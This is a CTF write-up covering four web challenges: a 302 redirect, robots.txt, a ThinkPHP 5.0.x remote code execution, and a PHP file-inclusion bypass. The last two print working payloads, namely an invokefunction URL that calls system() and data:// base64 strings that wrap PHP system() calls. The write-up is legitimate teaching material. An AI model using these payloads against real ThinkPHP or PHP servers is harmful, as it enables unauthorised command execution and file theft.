当前位置:网站首页>CTF_ Web: Advanced questions of attack and defense world expert zone WP (1-4)
CTF_ Web: Advanced questions of attack and defense world expert zone WP (1-4)
2022-06-25 04:30:00 【AFCC_】
0x00 Preface
Web The question of advanced area of master is to collect information 、 Agreement understanding 、php Grammar mastery and other advanced knowledge , The later , The more difficult the topic is , I don't know how much I can do , Keep updating .
0x01 baby_web
Title Description : Think about the initial page
After opening, it is found that the initial path is 1.php, Usually the most common homepage we use is index.php, Input url test , I found that I immediately jumped to 1.php, Investigation of this topic 302 Knowledge of jump , Use burp Just follow up .
0x02 Training-WWW-Robots
According to the title of the question, we can see that the question is robots.txt knowledge .
Follow the prompts to visit f10g.php that will do .
0x03 php_rce
After this question is opened, there is tinkphp5.0 frame ,tinkphp As a widely used framework , Each version will have a large number of vulnerabilities , This question is correct 5.0 Version understanding and information gathering ability , Not hard to find 5.0.x The existence of version rce Loophole .
payload by index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
The current user is returned .
Cross directory ,cat File can , Final payload by index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cd..%20;cd%20..;%20cd%20..;cd%20..;ls%20flag;cat%20flag
0x04 Web_php_include
Title Description : no 
From the source code of the topic, you can see , This topic is not allowed to use php:// Fake protocol , But yes strstr In terms of functions , Match case , So you can use PHP:// Fake protocol ,data:// Pseudo protocol contains malicious code , Get sensitive information .
'php://input' Read only stream that can access the requested raw data , take post The data in the request is used as PHP Code execution .
'data://text/plain;base64,' Set the base64 After encoding and decoding, it directly includes
In passing page The value of this parameter , To use content base64 code , Prevent special character browsers from being difficult to recognize .
In this question, we use
<?php system('dir');
<?php system('cat xxxx.php');
After two sentences of coding .
PD9waHAgc3lzdGVtKCdkaXInKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmw0Z2lzaXNpc2gzcjMucGhwJyk7
The transfer parameters of both methods are the same , First, list the contents , Again cat Corresponding file .
Use page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmw0Z2lzaXNpc2gzcjMucGhwJyk7
Check the source code to get falg
边栏推荐
- Doubts about judging the tinyint field type of MySQL
- kenlm
- L'épée leetcode fait référence au chemin leetcode de l'offre II 091 pour peindre la maison [planification dynamique] heroding
- Flutter Builder & futurebuilder components
- 1280_C语言求两个无符号整形的平均值
- Turn 2D photos into 3D models to see NVIDIA's new AI "magic"!
- A-table mouse over the display hand, the current line can be clicked
- acmStreamOpen返回值问题
- 1、项目第二阶段——用户注册和登陆
- 【esp32学习之路6——flash加密】
猜你喜欢

地方/园区产业规划之 “ 如何进行产业定位 ”

A detailed summary of TCP connection triple handshake

1280_ C language to find the average value of two unsigned integer

Where is the red area of OpenCV?

numpy np tips:使用opencv对数组插值放缩到固定形状 cv2.resize(res, dsize=(64, 64), interpolation=cv2.INTER_CUBIC)

Siddhartha: the book of life can be regurgitated frequently

Easyrecovery15 very easy to use computer data recovery software

Can Navicat directly operate the Android database SQLite

mongodb集群

Laravel document sorting 4. Controller
随机推荐
1. first knowledge of chromatic harmonica
Laravel document sorting 7. View
小白学习MySQL - 统计的'投机取巧'
DAP data scheduling function improvement description
Summary of various problems encountered by cocos2d-x
Communication problems in parent and child components of uniapp
彻底理解数据库事务
Error 1062 is reported during MySQL insertion, but I do not have this field.
@Requestbody solution get parameter is null
95% of programmers fish here
A detailed summary of four handshakes (or four waves) over TCP connections
PHP code audit 1 - php Ini
1280_C语言求两个无符号整形的平均值
cnpm : 无法加载文件 C:\Users\Administrator\AppData\Roaming\npm\cnpm.ps1,因为在此系统上禁止运行脚本。
PHP extracts and analyzes table contents, and collects bidding information
Leetcode points to the leetcode road of offering II 091 house painting [dynamic planning] heroding
Mysql的order by
What is data persistence?
Laravel document sorting 4. Controller
第二十五周记录